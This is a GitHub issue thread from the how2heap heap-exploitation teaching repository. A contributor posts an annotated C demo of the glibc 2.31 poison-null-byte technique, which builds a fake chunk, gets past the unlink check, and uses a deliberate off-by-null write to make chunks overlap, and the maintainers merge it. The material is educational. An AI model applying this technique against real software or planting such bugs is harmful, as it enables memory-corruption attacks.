shellphish / how2heap

A repository for learning various heap exploitation techniques.
MIT License
7.19k stars 1.14k forks source link

Add some heap information #148

Closed zhouzq-thu closed 2 years ago

zhouzq-thu commented 2 years ago

Add some heap information to make the code easier to understand.

Maybe the following code is more helpful and clean to know what's happened in the heap.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

// Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // step1: allocate padding
    void *tmp = malloc(0x1);
    void *heap_base = (void *)((long)tmp & (~0xfff));
    printf("heap address: %p\n", heap_base);
    size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;
    void *padding= malloc(size);

    // step2: allocate prev chunk and victim chunk
    void *prev = malloc(0x500);
    void *victim = malloc(0x4f0);
    malloc(0x10);

    // step3: link prev into largebin
    void *a = malloc(0x4f0);
    malloc(0x10);
    void *b = malloc(0x510);
    malloc(0x10);

    /**
     * Heap layout:
     *     ... ...
     * padding 
     *    prev Chunk(addr=0x??0010, size=0x510)
     *  victim Chunk(addr=0x??0520, size=0x500)
     * barrier Chunk(addr=0x??0a20, size=0x20)
     *       a Chunk(addr=0x??0a40, size=0x500)
     * barrier Chunk(addr=0x??0f40, size=0x20)
     *       b Chunk(addr=0x??0f60, size=0x520)
     * barrier Chunk(addr=0x??1480, size=0x20)
     */

    free(a);
    free(b);
    free(prev);
    // unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]

    malloc(0x1000); // Allocate a huge chunk to enable sorting
    // large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]

    // step4: allocate prev again to construct fake chunk
    void *prev2 = malloc(0x500);
    // prev2->fd == prev2->fd_nextsize == a
    // prev2->bk == prev2->bk_nextsize == b
    ((long *)prev)[1] = 0x501;
    *(long *)(prev + 0x500) = 0x500;
    // fake_chunk == prev + 0x10 == 0x??0020
    // use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk
    // fake_chunk->fd == a
    // fake_chunk->bk == b

    // step5: bypass unlinking
    void *b2 = malloc(0x510); // b->fd == a
    // large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500]
    ((char*)b2)[0] = '\x10';
    ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk

    void *a2 = malloc(0x4f0);
    // large_bin[67] <-> [prev, size=0x510]

    free(a2);
    free(victim);
    // unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500]

    void *a3 = malloc(0x4f0); // a->bk == victim
    // unsorted_bins <-> [victim, size=0x500]
    ((char*)a3)[8] = '\x10';
    ((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk

    // Now fake_chunk->fd->bk == a->bk == fake_chunk
    //     fake_chunk->bk->fd == b->fd == fake_chunk
    // can pass unlink_chunk in malloc.c:
    //      mchunkptr fd = p->fd;
    //      mchunkptr bk = p->bk;
    //      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    //          malloc_printerr ("corrupted double-linked list");

    // step6: add fake chunk into unsorted bin by off-by-null
    void *victim2 = malloc(0x4f0);
    /* VULNERABILITY */
    ((char *)victim2)[-8] = '\x00';
    /* VULNERABILITY */

    free(victim);
    // unsorted_bins <-> [fake_chunk + victim, size=0xa00]

    // step7: validate the chunk overlapping
    void *merged = malloc(0x100);
    assert((size_t)merged == (size_t)prev + 0x10);
}
Kyle-Kyle commented 2 years ago

Thank you very much for the helpful information. I adapted it and added it to the repo in commit 858f7b989db62febac000011dda9c26d8129b148

Kyle-Kyle commented 2 years ago

I'll close this for now. Feel free to reopen it if you think it can be further enhanced. Thank you again for your contribution!